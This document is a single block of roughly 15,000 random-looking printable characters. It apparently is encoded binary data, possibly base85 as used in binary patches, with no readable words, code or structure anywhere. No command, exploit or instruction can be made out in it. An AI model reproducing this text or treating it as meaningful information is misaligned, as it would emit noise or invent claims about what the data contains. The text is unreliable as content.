z{y$P#7~h$N|KdcEb(4C$ZLXeKt0i_^#X1U{%_nY#M1< zij1=_cIwp`YtiGvBS(GR1zQd18of1@l3ixt+i_}SOl(i^tg9}iPEmq%eKUhdL^?VP zT^_DBv_D@`{XL#$&1DB$AeZcauCii6wNQFVsgQyy%F-_7yyy>Ov{g$K!W`gc+$|GH zSiW_1Y*VW%?`zbH?jC?eV50W#vOYGLueO;Z(py78v4L=A7l8Tp>8&>yfh~B&W;7M znNp|MhKZ}e{A-(CgFRxU<>Msb##OZH|8-p<*?h zleHH?D7q*`dZXCpZ0JBcu(&B4N0-ebsn-AJSBB+*jtfr=xl1UnfFXDWkcy|sjRjbk z{V#<*#$ryqDRk#sl*9kj0?yzoKfW|GDz<8Ffsu7e?dGG|JNk}+7|y!B#;gTv`VQ}w zK=;ws`g(9hcOpcYB!BXqFNYu4v(|8HLPA1MfEaO{$m{|J*1LOqVIA%2B@ZLZk1ob) zONipYsVDAb#U9864{3py&Y*;f8)b zZWpT!k;0{D9owLd&89{AfHn7jA{z*E!ZNFyZJzkDGR4I*m6uyi+|An3Nd*x(Xrv1F z-lyYBZ|FJyLO0LH|Gh5abBD%}k=)JQj;n_kCMX!Mn@+A_I&Qa~XPi7T0#P}iHbb)r zO@}Pbb6=!;PNW?qtN*>)Qyk7L>}S|HD&GoCkN4&IA6mD4k?N)L546EU6*7{2c${&p-BpJEyfAV%WNV{-RVQ8y7F1 zghq+vxE6?|o_&CTC!<*Ti|}^N{eZD}^*>@zZsEe0-9zHsdwon~s%Dn{k@1hqTBF!F zhw+Rrr96Ij^w;pIgBukd9uC=xJlMyc&8+&spPSl5{1m&))v34U*sLu8JQ%-h@81w$(e`b;}L?c$F0DLTHczqIF3VL|#nH)~cptEM9RP zMIN3?!|mUsLm=rS1V0W?C?m+W$d7;RQvCN^-`sCdi1U*J+2c!~*S?tBnD!OkmyBQ0 zYl$v`bWVTP*uOJcw=EgugKvU9AnbCX@V@b%fnA80D_O#dOZN`QIKw^oxknd&vU2H% zHO=gT{O`Y{#a%e)F^hkzXPc8{$n|Bz27geIJ7}ZUp1ZJzNA#&_?^PR`G5>p6-!5Tr zQ&f6@ngC-l0Q&Oc3+3Dq;o)Kewk#iJ*BDXgY8;-Np?dJFK-GUUi-D=m73=?Szr^7N zYv>_|J9AN`rL=;(E5&Cg$PrUra z*lpYYyc8wLzb+TfM0>xH*q()aphJGc-CmW=0Bx6{=i1zYV@OHyD6Y$WxVYosCj0^| zcT<+vt$;=lE@C0`PbB65V#_%MkiNG&FnJSb_+76=&_iCx;Mjn*jeYt4QP_(@?Fxus zuyv9__l})H( z&N-;JCUq)^0d75o&^jeIW~(myzqJ6xiPkz_#>R$cf(J9!&-kgVn#;QBLCJ~A7BoTZ zjIZzBFeuCV>mEA&ixQg%qWH;NSCvUKCDqDG4w=p}J@3U8y>ZMh`5urZnsSyDM|7Bu zj_=a%IN3Ns;kC8h=tbVxi3*G_hwqgr49v$$=t7RqFFTCU+KXdAF|pjuPDcnhj4o%e z(fBn{O;=sU*L{;28-RwKBxk`M{fn!UllebLadFO+xv>a{A{@)!g0m790{|*8eGg80 zIvxv2co!6k-KUsbo4bweIeSx1g>(VFIYkO|@(&K~u#f`*E~5?aUSurpDtFZF)Hs4W zs$cVi{W^VJfZZ{qurSfwv36cxva0fXXt58w?#N(Z z7#TtP#n0zZ?!!FM^BU*4^L{leBkLLHin6HV!5AF>h=H-T@I8~^!>g0Zq!Z1!1-7Jd z)Xf_$2nem+W@u%R{bjfV7*k{yD3TI1c~&y^K-Jnq~YXAMHh3XeGa->Z2${u}jb(w2L!rEntjuV}@vHi3o?y zgJ_Dj0M+9QS6slp3&`+n;2egy0hhC+E6rrew^Igib4g={_8i^^!BO@=0bs-20n*^V ze|Y`eR{M6XMrpZ{8i z5Y?|f^#+yjPS>xx?D(U;f1wd5HDLM%gnJ=JhKHl|Jhg)Mix9@}FHi0}c}e8nM6pMv ztG{3LB3zv&oOr)twE<(nd3c0~@owNjbDMeWQD?LkbopX!70yZP`dKmo5Xz?=QkY#L z&24Up@G=DeDFj#|l2s*@zA`(gI>MVbZ)4-4R{dVu zGnuEMA=S`YOl%!=yMSib%W5sm@gY?V^q3NLHB*|{QVWZ%1}-+%@Cc#w;C&PpqY|gd z;;)O5{EJXVKcUIeO1J(^1)?+6GF7{xaph+whomX(2ur&fv`dgn=%iiXg*@E?o&z5b zPZNy);TXO`K}NG#BQ~Fgr}0d5eVK%Fk->qJW`Ah+M@D0+wWZ|vRVE45E_VB+aI>Ml z|C^`RxRB_2YrrfC$H{f~!Thkc@dfT*IJjp*VV{aXkRHHS)})`ISNxUY;bXmbVDyD77JAB&D@ z!`EAqsTEx>zL>Xvp=>32-eol*6tm3?BWw)-FbHteE)jz(Y#D5f2m2!5&&Fs-$z8z2 ztv3x-djS|RKo*$A9VETNzpUP<$M9j+^VIc4FA4`CH`g)Weg+cj!!#+RiG+@VeUx(f zwkv=pQmPy|^h(sX(S(5=6F{h7WY7@{12ZaZW+9Wjp(+_{0heqJ8c)s!o^PN-S+Jw6 zoF8OXe_z9s(|al&3S{%`Poo_Om3}xBxG8t^nGmD*g+-bDAuUBtpt=b*=11@SkAGqG zaY6KF_p?^=jj!AW>d=rwV1Zx_{QrQHyI!_u3>y$IGy<`w*cCY^z`C>vGUPz8RNSMj z`lO!i8J`b&YuLHD-?R+_Wm7kU->|XGpQg8*oZ=r5k;YJ`;N;=1j+Ud^xXk62;(ERk z1U=NS)({;9MQ7ya=T|2TN<2gX%pH7sb_PU%>Dzjc5O9;*+uN`Atm@{T?houF)i>Id z;u-Z7-u?qcD%fnJFc^pxzbMaVgs}C+kEC;AKiHdUkbshw8#T1^>GgLkR2aH7P|g6Y zP4vGGLdR3>+LO1Le?q9FL4GiYQT?9G{a&hxw%uB3$Qz6v)wzNrwJ~O3mwZ?YIfRAj z@`bhYZn9Er8oy3O|i2P@?P6UdW5ATK~EEVh7@LE)O(Ce+i%?0JX1W z`6$dAzTt|`tLlL>Sz%P$Q{0(q4od+IH`g{*r0m$y;y}Xj{EU)mb!cTlvr39m*$YMr zEBuM)H2g%YD1CKHnwk#N*~0f*r@{#g-LrpPW)?Mo-zio*8Q2#ywm`+1^kA^c7JuO- z7||~xc1yJGTvT`CV1t3aQ$|DI#;gGm%#%n>ytK_3F9rRR^q@zwCqSL)0J3+!{I&&z z-M8IsT-*Dpq(0fq$kF!yF4n*9zAiL5Z{u;?izzQSjWV>SH6$o#)=?cXK6Zx#Wm&0A z?uOV_1)7cBew7>|+vDr?`Sq`1btaL2mU1mqq3!Y|v%A#f{e zJpV2TO($Q1-eZ;LP?oG18m=_eP(pSASfxDx!EBU4I0Zr4+ql!`MvIeR1L-f|hEnRF zG!1o7@eFuTPrS@GmPJM9Q`K8rR+AiGrg9byIb-~zXk;4tVR1#jMiwoYwyPgFytHZx zYO}NvoZs|6=6VKWKpl;Y@GsqvdJR6JFv7gs7t){j|G}MK&@?rmXhxL`cgqPd*Y#r? zqRr6;^uM!zQoGc1h*1j3{L%Jo^0i=^{fcNYHwek_LNcOIj{mcT=ahNzhM^zydlapF z8fbV81LH`qY*qiM?4y(!@UqjY-G1BS^W4PDOz|on`0?)_BnCpmH|&ryHj-svH_y$R z0%#}vjI;=v+N(TU{w1w4dHW|aI=7(3ELeYHk_LtRVDBL1p&^`xq-1TWR_?;-jZ+H; z(RcC=+F>`&oSaP_MO;uV8`Lep@J*^8Qhl^QfJ*hydqt_cTb+mz_P+X?=l@9;AY@SB z8vvV=0@6TjSNgB0U!A|=<&ZVggQ?FzPI0&X;3xcZfl1~8Tm$;TI{5cWq~tA~-4)k# z_L)1&tXm0oWJI&u@O84ziI* z`he_tLSZBYHx@#0U352Kc#8=jN4) zjf~6=7f>qwbpaiwrd)cv;5lt09n9lsFfei&rV(t~MG&qG9XYXeT}xF{hJ;xe6PJh& zg*Df?F-#DIMCoZP6ce6KnQ+-Q2ki9}jN#Z)G)5hlFt#Ou^+;p4nZF zNFCx!af82)zKd;G=do#P#^Ehz{b`qOkP}Phba-dnL++FH`kkb1N||Zgapbd~=S&`8 z4qWyf;NZ2*%(gs_+Gv$V~q^DmSnRI0XBguY5+FDQeS!Q8(^koXA9!% z2tXBunVLB|&Fx2{-pF^3IL_f*Z$i>E2gbU4Z;214qid*J;(P9qF@K{vaNfYx%$a9* z3Yo4~{1s@jW{Kdr5=tm0oyYP~4^$0U(FC6tA(9_kU!if}XI0SfgJK&^686HIt9RdQ zW!7{p8T%Hx^#+sk7^%u(%@R-V#oRXR|Bfi{;#4K|aT6}RMJN&tQ^Zdq8U2i!Lr89x zSj|zB)`p7ZK2PP7g_s0slTS3=D)eNP1rj4L=c2$Fp@nr@=l*T-e>^2L?YQv%e?27( z$<9{tsJlG_;j$G&&8irJs|#RLf8jt)*P?gRl5GO~URba9yx~^={<%|BEO~35I*RB! zDfyb8u%UMThkEMN=gFK(g352k4p;v{*Gw6WXbXC`L}S>a)n_R)rj+Dk`y?y{-J*s! zQA^z~I6k{QeJB^1A3J_2J=8cp(u)v*DS|kBmK?B0le0isv_=Ki9S01K!R8x z##4K}ek2C^PT3+ah;k@AH_p`JLfIL#ESX@0RsJP{lgBF?(eB4=ajVYmu{HDZ@&c1u zf-qV_mCEE=_!x9hszmC2&)W{iG(~bq;4^`z^}{kSKy+e|LenR(}SycqJkBssHs8iV>eY-?1ul%VoD z_if82rM_MqUMWS|8yyB;7OZ?X&m{Z=O`4{gM+{fCb)6GlxSqF9y|o&jbYcJgU5)G6 z$1hlyfrYMubbh*vmp231by$t!#9whwnK|)mEW<^l#b9}2OPHm~N6_4RNjWDcCMcT` zqjmma-3>haLe}2zZHIseXx?^)B0JJQw~yABz_}HM^tHPpGxDZEkM0MfwCG?7UiNt> z#U|1$W7z(%(BatPW2cU@zqiXKV9O6I%U{B-Bc%t zHez7^D}~d(QGGx-fyNGG>3AjSx^!ES3`OyZuXkWR_p668iaT35jzZv*W7}p?q^Djo zXI}CKQI7YM`SNYI&B9+u%JYD7qlqJu3s-&t6}0f%y7a852k`$N-L(@PSiJU0F0Nn^ zn!e2%e0Yp}9SX_LgRpb-5Vv`Vp%Y7UMBY5)7(T7BedJtIcq&{L`mER3u==t7-5C-r z${Tho8C;URwL3zH^ANYgH{NT(v%k}ju`^6-#W|Up#xzYMoT{t8Gpj0OPv@4@M8p?& zz2Oenlu}Cq%7*#|KjK-!KZC1U`Bq6x{SDVWCid zBp2VdZm4f&HQbVS#4OP+tbHP1>_d!MfO=o4GP6+4Ue>bETmwUmFnNt#b`}e(Qc9Vs z=~3Q^QNZ6I9&2lbU`KacRJ4QJ?-9!p%e3EfbZx2e8_~!}&XFYea|mN;wB8BV__U@m zVU-b(W?U$WZ3NAFayPX{KWVa8g=t3`WWRr23s4JO10z%pPQcdW z&5^An6g0xXASPU`SA%6y%5r(gd@>2)U&awk<%`V!J%UhyR)1cw&hNzhU_a56X{)pG z!Z7w5caqyLCGya>Z4a~Z9N&yT4Umi};OGrSYXx~bv?aERs_0LOVo1?U!{h2kP;npe zmB_EM3O(q@F63U5x+w5Agv4!v4d>Urw6a@;iTwDMK7l_br{7cNMOa(4KtE%`c57q4 zalk7TSH)Yw4-h`MeuZF9E)I@w3BoDbvD+ws-TDSxDKJ(h)UP|GIz7k{wtOl$l?AsEExlqqTt^6snBo5 zAV)R=Ho4_iA|3zJyY#3vLiDxo%OrUw-D)Y@$5C*-{-*bpwzCBayrP&Sj_+);{mND# zDv72xVb^({K{#=?A{42)oallI3doA??!#S?V&Mp0*qECGVDR!EXB-Up z@c%dacVh`qqFjqf&qMNK5r%;Kr38o$A?`_s34MoYGwQwi|? zu&?H&An?eZYNdqe1|)azHGOZ)6QaO;!ESZkE#SY1<7gV8`u^G)gmQ>+mZ zAp-=fLS{!G+4;j|23)HpG@Z*mg~k= ze#)87S(7xsy^c#3@#;N(gMffa@rr2|2$|h?=pnTak!?)LG?B)Ak%iIS65V$!-MVBS zKkOcc96DB(I6Czjc)xc4VJIY;0;(B+1ea^aajcpos!3^+Gofj#yAp$>lxwLarw5;d zGP2&D0e=J{v^tr9;&cG$rL$zXF8dQ!g8KQTqdBlJk;JWW57YpCyB_eglJ zgs9d&E?1er4p`Sa1o_B`QtHwQ%1W#=#a=meIC4}_w+I)lARxTB$5B*9sR~I<<{Yr5 zdV0xsA9ZaeF!~3V6~~w%1R)A`fR4R1+Whq6a!w;KiT5)K7?e$z6;pMy-v4Mgg^a4q zZ;|^ph3IThcZpkBp*EteA?34~B;1uY;(=ombB^!cq-eogw%)i4@TTD%;<1XF&0i;u zG{AO8ENV4!>Ijr#f9Hy{scgJ}8KY$Ie<87?ZM}a5dN7!aYP3xXnSz1>D#5?^?kGON zne4z;7PmVPcn?obkpQFw>jpW=C#p$;%AgK2#Z@w}Z){;^4Ob3_ONC6FTL~Ydk;I+O zSERzEPs>c*R@X4U9Zs=A(3)uPvL3*A&_+$}|Ng+r;zV5?zYn;QP!x&qY0f2YJ>5Ue zS=Vn*w*fz`P;7>8L4fZ8c|+)^28^#Nd)d2&|J44(CPqsC;#z*w+=QYnZvM5V`=6R$ z#v1Q?4EwqHe#!xLXH;aQ!X7loAWsPsqCWeVJ`3y(QTzY@rq86G|C^Wvjn1DTO!(R@ z0nk<#LI3{W)8|tXT{`}h3N-(CR~&@drrT^0wKA()-Fj#ex>4Tk49v%Jxs+;(r}D}< zJRqAmnbaCA8s;n?z-&y#4wlnanuviun>V?#;%S^RPzxV?QPU%LMf`}^@tgd~xNB|c zonace6d_NCKNXASbMPX+Vv zXM6!)6h5uRfdWw2Tg^V(hKV=n$Wz>&-RZV(@pOhvY_sxYJ_ste7qTMp%?rYX^{-gH zo$nkZXAu))4odG6D>p4k{T4`t$aJu|^+dQgHl8(m6hA-mKJhBIDxUY=n*#ihh?b}K z){&uC>r3n{f-ZuNG6|+ny)EIMitT&h$>|AW>5AbTKDRKjY>`;TnLIc)WAEgW{+$+h zVxu&DfHOJ$hwk7^-Fs2vR@dGEP5yx+C~NWcD}+YL{(t$|nLAFJC}d(T{k14H#zzGu ztTUg8ppZ{;p-DT#(nh}`I;|IEuQhd~hVg+T20C_PlB89iLGIJ(@ayQO6%Du3+2rnxmm>N{jJdp$w(b4dj6^2UV?xc(c5HxMG{hr69UK1(y@J? z_2tZM1x7T0kP6=U;K3NE8$dlCg&nGD;cIw9fSca03ES*VH&28F^XIZ9+EoJ%r zzF2sKPXSVXB=?X$_x6ae3UqW`o19MXj*efnw)OrpH+bXd0X>23MghM*rhe9TpLaJa zJ($MVq;AD7ZV64l5!U~6D}C%*nG5JF}K zO}``1FQ)wKaCs9ryJdmSGHYRHKKiB)y)`y3-SAD1DXD*i;dNu)#12S5%aWLkzqLgz zOub;jCjbXfL%ln-mH*t}HwnBzU4Pa8a_8d&+u_7M!;V1+>=JxbLIz55awC5sRsWbi zM+)*+c=-Ahv)nI9 z5x2GT0*28Zq_Ocq%Jh;&c#3u3ry~lCn~73wD^{&-w35P}#%dgzzDFotO%1K)J=;V9 z#d~O7(^kc+R>i6k$fcy1;P=_EjnbIa-Wk7EYSG;k#!`upNIaoh@G0%?&X&vy070Ql zvxa(8;e`D!5kBc$kHDYxo$Wv!`GebIQp&26x{Iomjgff9@Y%NC7w|a7TLp{x+?i*) z?x-<6Gk@M0Gb$02Atck0(2;>vQv|Z;ykxPsfBEMtSuKoFv7pM{CfA}WVUW`d^xh*c zSSF2e28h1v2}rT-*TcueAwe!7osPFpG!8H@H2g8bLwr+=OOG{B>bYCmzlk%BR!7>L zxF7PFKcJf?VlYYvxydMN+SHCOtmS5$>d-QJ0o#mL=GtQ72=^(iOf^(?lVskn(iYNa z1d3u^TL|xzuHT!ppDqpPDlEitdt&>nIha07b@L>WYfD}K`C1zQbu5(6=!vBdIyM5X zCr-lWwBK@M$a*qS(Fjt_@f?3Qg5~i2Q09VB7gXI$;TEd5vc_6Yzy+i0qd|~ zLCdN`)m`x--UN#}qERPuV@|wT+Tsj%EY<1Sk2JDcy6%{+%oO6On%ei=-8NF{?|uq& z={-+|JtW!cO(R)m7c%h0bL+sWV>c6ACfR~fxV}Dn@D9<(K0UyLYG7CCv zO{4lmBlsqmqLa|-T*|4=c7LAB=P^d`JX^@cUk5`+qiz-H9Dj%zA1>TX;b{K;9FdlP z8|Bfh?qIG%^C4f(W+Ux;4TE-2eTGd;_wceC{;;H3*jxBUdB|+>Po74vs?g>z6@g}| zyDQ7`CY!^=XEKOjP*R~B)AHj+6-mj>aH8GQW77F=4gCzV6!)7FmOm^$Pc|1@)~+ZpCzV){X`rx3thgGcLZ-(NFCBu2{>jPlmyxN6V$vHV=CefqC; ze_i|Dh81$WQ5Q00F3nGL>A<0jiZG`+Y&5-vEJpS`ET*^4i-#rm=Qc#R?nq`X5hu6G zW|r$$7`rKrHD@0xWJqD~Y`J8cfSZCXf`4&M!C+aI_oro5QGEn0WumWi@8iAu#U6p0r3hL?B;M{{+tueGip4P?uF-ZI*x*JG4Vy->K_%vY5BKfw@WFhq)Ah- zzl+vx$fYMMnQCmJ42`=)niGRYp9L{3Ry*ZfroF91#QF=I|+X%)P^#_?{ z3$Q<_p<^5qiZ|vv?n$2RGAqU*gZgC`-dE|a?R#aMkIRMdUi$?*U`ncfM`g8(#aYvp-I2F`V{L)43LC@A=#r^TE zT_^Q(%+da3?~62-_Na|N#M*JAF1<@X5(M0n{1)2v9!Zhy343A3V#u81lya&}GBzCV zU=rR3r|goL6;F12i7qJaYbp1>Ivj07PIkk#oo}Xut^F@w%i>)W`1U?i&ysj z*%z}Ok}LCsq8#FmB_BcJ7{@7H^=`Ox;`QQMp|$HlWZ4pOTR(B)Gs?PqYaEj1q_Wlc z-P+tJt!KsR89jU4zcTuVIA!*KkWRhU5uovaR7^(IK3<@dJ%dQbr@A+}Ms{sb^FoM> za`_M;?L4@}1lGtA8OeiHXG{4pH4M4eZ|%O0EDWSw)-75bGH5dvGWO>%utsURJ!AXn z(z)~lMyW}w{ozg@ZAfkutk;|FqWz1#r|U_&BV_Kdow}1P{6>F|*@PO>gv3uge6z2(3!r;iD4%0!O zXZf;RaHZOxX1QL$FbZqPTFqtuzqJ6bRIv$;m10eU-3G+42U9-Vc*;M?$Q&5v^Gd62 zHO)~bzeD0|pkKxLZc1J9aIoKfDkkO-f%fBDb?zZEeb=E()`n_V`?RHcYh;)<^Gi(G zUHxOqHA^ANUd!<5+uH}v=P{I1cU{hP^VTpiJErOG44a=0@;-6Jl$sr^^dnU=`86P0 z>Nwr?rPbGPe%3Qv%4vGacCfE^P@QL*Z+4Jnnaelk$8@CTxZ+r_t^dg~RnE`rTm97% zL=UN5hpYP*&-OE2I~$vWY55{WMxY?dKF-QIj5!m>8D;IOI-^(=y$qG$q25l_N!fiP zo1ab7;XLmN_H;fyH6em$lCEnHBl8$L{s@*5sm;OLL3^9ft*LzlIv3DCQ#-*DcA9xTr0!z;HOF7_ih5 zeB5qIo=V%;r`<5nM~#FYGH=7qk2)4(bNI1fNJ#`Ks}j|da&cu%)?Est`w^8*v||hB z-NDw&g?{{T8Tuz_z5sEV3^&%e3gNlYgti2MpY<1JZa-wGs~=!rk~9}Q{Gyl)n6(g$ z_>(|Z2cHu{KeS!{N85gMtUWQUlv?FOUUFeI78Q9>B*7mF2yBM;Rr6@;c^ML~!>w1;>o&KGFQMJIm*^1+u7Hmrq_!F-r>60UM4PXOMfIMPbpH^grKBi z)xG5FO^~;r#~*8bqQ;KacPx3!5%tN_hJo8zA>=e6ETz{0WdO;A*{y-owdMULNBzek z%M4*@V%@4W9F+%zO0Q^8jFOo?Jy?EPoj7OWohsJnxj=j)% z_lu@Gvxy_Mq9udD5qC!<4n^|U3z(lSF-Fee9uj1ja#JWWV(WNF8YQ#RE|j8^s=Oni zZt5C|>X0hA{;uK~-=LU{_;B`s>hbz7%u@uiI~zsx7r~U9-K_}T_`4GtLF8DM$&qBS zR^NPko%H8M6#+nSsp_cm@UptDcV;7EQv2vK!vw#(@HmFE4>3%Z#kZ+&47W92P8+OE zjx%&%J|0PJciJoXxi>7nT5mBQo7&{*!fZVflgey^Zc;?7ivl6^AX_GenMZ)0^VaMv zPiuqhP7k{*Z8l7sCHiVt$U}$7ybr)P>E?Ix2ipf2EW4V32%-m;48o2Th!?(EfrOX& zNCJUI`NH?q)Rxg@AMuXi);?yIgC;iDyk*V76r$}_>ARN*w8m7H&gcEiww#MGP5L=J zyCTnE>Ql{Fb>#cC^y^Pc6v)X3#4wZHeq^leuKwC6jHVcSe;KZH=phQdT+Bum{aqfB zj+&v&j5Mv5CCyIj&bfFN0E23rag zPGRphrmggUJk4H?)ae)KKYdO9`{h3;HaN4#qB{1RL!QkT_G+b=nc2=(T!^_`2;uOuH-FH9fsLXVdCLIZ3i)7JQbpr#FVfj2UI~gd-(CjSEMc zY?QR~!4&rQYjr0vJUJSDjrFeybg{h)0A*{#W@~6HBg)r7KHRjSb}G5GA2Ex~?$f-( z^75zpN-!l%q3SOF6}yI&&lkqFY^JYv0uuUHQ{G9zde;{Sb!oQ`M_|_T<_7NL)sxiI zBNqDTh0g>^qz||+i^<%o?HLRbcpLpqO<`hdxb>}-ZCexlCmI=Q9|ABRD#A1QoWp~I zdn!;d)3Z-BZfOejQBCzYhC=(K>~>8GFvlIvij2fCH~p-sZxuN%Y6L6a%4pgRLAV+S zDN+m~1y2Y<%JtGQnbWHdsaL+MJQKx!kYD z7y=UfU7X=w-n>@$NR9J#*IvO6FBo5P)-#jt#Ot?v9LetG@<=wuFC0--`_dM7r5$UB z=579>{^1#UZb#GmVd&xK*<7S#LlcdqF^%?yvz%3P0foplzQq8>-biDvc7ZOjK6 zutq&B>^*URrj}3+ZFtU(N#`io+p}p%vd8uRXtp6*o;`?)vYanP4s7!x(>wTpChoUZ zn{i>w#FDXB5HDlR{2B^H!*rwxzNfO~`|d*$j+3D8=6 zHmwXvcibG+uuOdLdQokM?%h0k`;hDoU2-sxAhLR*NwFz-g=UMvIySsU*bd?A6(>sx zy{7yArx-J!{6|Li;M+Et%rEVJI$fOz zwNx{g;>(qsx2w0$N93Qw_*VOKK*iRZNJ1_BdB@<|LN~wGFjmU8(C7DpuFl{@v^^{) zP4D-lZ}VcC?oFNCWEs{OP($V&T`r06s@q6_elGb3@}1OYtdj4DQk~SIJ;GYEVq+xM z-q(>we_IL$zS`dkKVf4Bn^F@=OIdkG1ougmB)1$OP)qh0HvkUxz?)M%$;ty;=w{(X z)0jxWl9UVK0W3-ExwY}l0#vpRqxxnaBqK1DXCLS7QH16>Ann-?`cEO4`L0u8Q&SJa z#5EO6MyRQQjOKPqTa1W!>3DsI#a-(~9LhDKHo}yNK>rZ$L=!eN6n_a9WE45CXu!C|UeJl)ZIWRNebNI*Q_p zs7N>H&>$e)AUJeNOG}4ZHXY)WUX`{&4QqTHWR}z#^pVwq|RoW zh}z4SPd9Nz_$5F6qP#DutxoD-KRmb-k_X=(mtY;I`Ihr?fb9K_Bm2&-+#VBtL0+~A zb=WM^Y(`Skhft`S$-Wgzl}BCZFJU?yTnVB_N>2VXp)jlD866Z2F)%}RB5^Vj7l%JZ zC(yki=?7)oi>F|}YXz1>_x+BUM3JA)0O;MTe2Dn|{ri-XHzSrS1&Sa!KJ~shRJg5q zZ>!VX>t(b>F&lX(R#^P#8!1JuP@L+IK5yvg|2j5(9!sF|i7r|J0U8-W!5YPQz%51l zMpytrvoR?D5^FE(WN=9v)%L>m>=S#V%^j#0CGK)TP|v}Oq^SqAUSfqqk%zDpFk83e z9|(f>i8F}+x%C8nu3EY3_kv~;MSs2`LVQ3+M<;2+gs0NVGS8)u-^^I`nI^e{%@9Gu z)CfLfPtW?|;sNKH;$oZmMjy*Wd^ibq@6fl4`f#dE$zZhl4#928WUQR%4mJj%iuY|+ zlqkOfGsP?<^~7%)5xzs{Iave;MZVkh}XA9HqeGRxtnIY!DgatrI*If;5*OV$Yg`j z&Z(p7;XBHbcFD@W!se>C>u!gIPf`@^|PSGoHB!xxUUjC6vOl2aq-_9{cHvhCZ9*hBi3icIt)sMfEEX~b%?aVmktp(Hy9}dP)%c4nh0ZSK-5Gvn8 z-)QLr#>IFjj#M6f{|kD_Z~L#(raRNW^Dn)0XIgnsAY0b$)}XYlFu~-1vlJ!|x~h$i zjXAkNAqq^9QBh8A4wLT7ug4QBUrl7dd7W~0!`#K5itGcMqd0DQe&gwlMb#@y@&KCmYoet&4 zYvN9W*xd@32?mT?feMT9O@M%%p-7NC2&^HH<8s@4)GKgHf?!+WrB{HYW*xh>TL)V$ zoE+_SI-KKn&}MjA_X2&2d~@9^cWzb*8PIa&-X@wJx1xC^;`LkC>RaMgSemE&R#MD17+ifhJGThH%BJHUVZ5z7VGYu_S z6+Yst2C<-RR1fEYm+oMl@Y%O?9JdcuB-nSu6>vl)9YRh60}XQI(3mfW_x%$ucg9yM zFun!EPPe2Yg{ky?>}!*glUDM8%+@&byL3XMlkxp7&wy8I&U*7{2Yy+qf&+?T51u*u z0YSastou%GtW^fO=A19@vqUYv1iiwoAHOfTF{LHG(;?*To)(c`L!m@@R4qg*a>ZJY*9KV5DFKJeU-`lRTJtEQe zf1(7&(MYKhzqO)x%btyrynVT65&z zglFsRa0=fMuvx97g(+bQ-N)8&$m+)(RSH_*HQj!JtGkZhgBp$K!vQa7Bp?j}8;({Tz|%_+QR_-^3;ETL#n~E-cJ9cAToZ=S4;K4efbf865Z-*}I0s%2t0L z*)Ym#l7VnUq2Mpd6s`ptDD-)*y6FAX7)f!g!C3GmSO?8ltZF`Xz*#1?Q$?j~bY%yY zV|9Ka2fGlVkir#8D((iKp-B$3B1hUmdYPESTkB@>SZJ!HJ5lZsP!^pqdg{yXJ;A7P z>NKCVTZVeA%Y>Cn)U9@s9GISbG&c0t|57mm>Jd$ld?h3{)H%t^)vpQm9L0AG5JGi)Gc)f2e+AtaR}9^xPWoS79y=!M zgCavmt!tr+_zFTYvp{%cM!3Qnf3T#n!ll$2gcO)nFY;HWYCAe&-X{YLSl;(-^@s&# z4E}*!AAx;{tf!p^*4s{Quw+KvscYXI`KIny{W0b2ASr`DmNFAJb=rA^CMP7Poa^79 zt%bd4+DTr1UV~5BVL%al8PSg$h><-dB=zatk-2Up{3zjeRy0U|jvQuORFFzTAlarO z)}NaNgBL3ghDq%`No2t?<_=y&rTxcW&wdAR?VN;@)QsQYl^)6S-1~NSq}IC12=UK) ztr{FBE3f{)p|jvp3U8mdpRZ@t2t26y@&yRm??S>8kbAV7^d-)0zf}(8nsYzsph=nr zumAq?<$my@uf&`1%&6V|kQ=KC6NJ3LVgGB;;k=WSO-N{NeB88lW_+Cc!+axWUjWEb zR?TSDo)p3aI#`;xCbAOlDMNADTqKuJC+)Vbt9bYvFCbJZ!{k<=unzi}IJQXZvp=QT z7fK8bK0pv)Gg;tHH4RB2RD$3JKk9$;W8TM3z5dY^%q|$ag)J+z62S7Sf_*scMsNJ? zbTz96vNm!BUrkr|wD@myf(58lR6JZ4Ad>Pu3SfrR5#or(PtBjCXV*KuZYCcLKN~a}j z*{hK)UGH4^Gkm3TEnB!&PTg6kwWP%pm5?`UFS#WA!|Aj~t#(BKc#n63{(&GeE z7HSwudTW3`l)BdX;&a@N*Y%6m&)Em46>W0C_aO?if9%g=(krf&mBPcVV|FPE`B@xH z@=z%S)b^d9+$i9ITjp@&18i}iv&O^wA&UT!b>LxcS!6*Syme^_iYb{^aRnE@55*!2 zI<*dwDuh$c;Z&MF^B68?`^wKLI%CPt*O-y_p24_rK{@uLb^#1_xmW)zBMXo5b?zOH zHW$YE<5%5y{ZB(-b$1bEU2DRz!52bPp^MLP?a;TL=r=qbTBK9D%75y?Bw~#LJ^Kry zp!yB;2G8_mQ_%I3jVk?hH9B882(q ze=+7zi^p!I+xQ&hVAC3DndfaW9WGGC1HV~L4(;*&6_uec-4amV=_oAR^#MnV2DY%_ znTdI<`O%00f5QI$i5UX&1ZpS;dd^8w2zx8fCev~piYvzcaBahsO-oFM3T8!P2{$Ke z(XvS?k%*$Ba5beE4^yX&hDxS}3lRqFz8kd@3-zObh3|BOgWr68GezZUvbng%+$JrA zX4>vT#=UL_qn#qe{j3YwcDVuBIf$I!`P*V;Sy>rqSLSgzAdVq)`JHFKKjpQqBj`$V z0(uQu$&x|nRr@0HKH9gs6uPzzeRTiz@dbYZAEs$M>zw_&_&vX)_~YjDZpR7mORMf1 z`HbDQ2AiXJcj22Q*v-Aiy5!cq$0K`)etu7n=R6rtWhgkF-L_!G^yuE+EuynNIEJW<}-4OF9vBC z!$})ShKK!e8^5|LZts533SXQxGufJ-=wG2?l&7B~@eNZ=p|hut)aJ%F5D7o1lZ9su zlNnR5nk`j~)~1vpM-;&w^ZvaPGgpMck4e|F;l=gF4>Hux&$U|Qn?AQs-q;Juh0ysE z;1WFclfddhzwwH5S`3LdxC7Z@llUZJq^_$QWptJnB3KPtCN(!V>)sscs;Q`Ou(Ol! z+WW4aAsg_98@YIRXg|INq2{dHu7D<;DQ^PP50oZI^0Wh@#EW^uS>sy~#$4=kx89Of zDId|K-hBm=q=~z77sN-+0rtXOJjcGPYlDQEcLzfs2#ls03!A0he8zLKFfOlJR!{86 zeOV4oBkW&cchFq<5pWR|*< zHO$C&K~1O`jAw)X(XUN_lxh zw)_oyS(pAqC7O{J*?w?BhpY^iqKAq_8V=?O-)B8f-xgFJbZ5MkUVQ&6i+99;v8UIa zUKRu@v4W>3JSK{iAY|{=wVzOvrFeoVSNSNzSebG_rrj2F>8zU zD*ft`ijoK8<=6H*kELAwm6X#L*?Eex&|?DYgnNkp#=NYhBQ|=8Nju)!zorSS3v8i 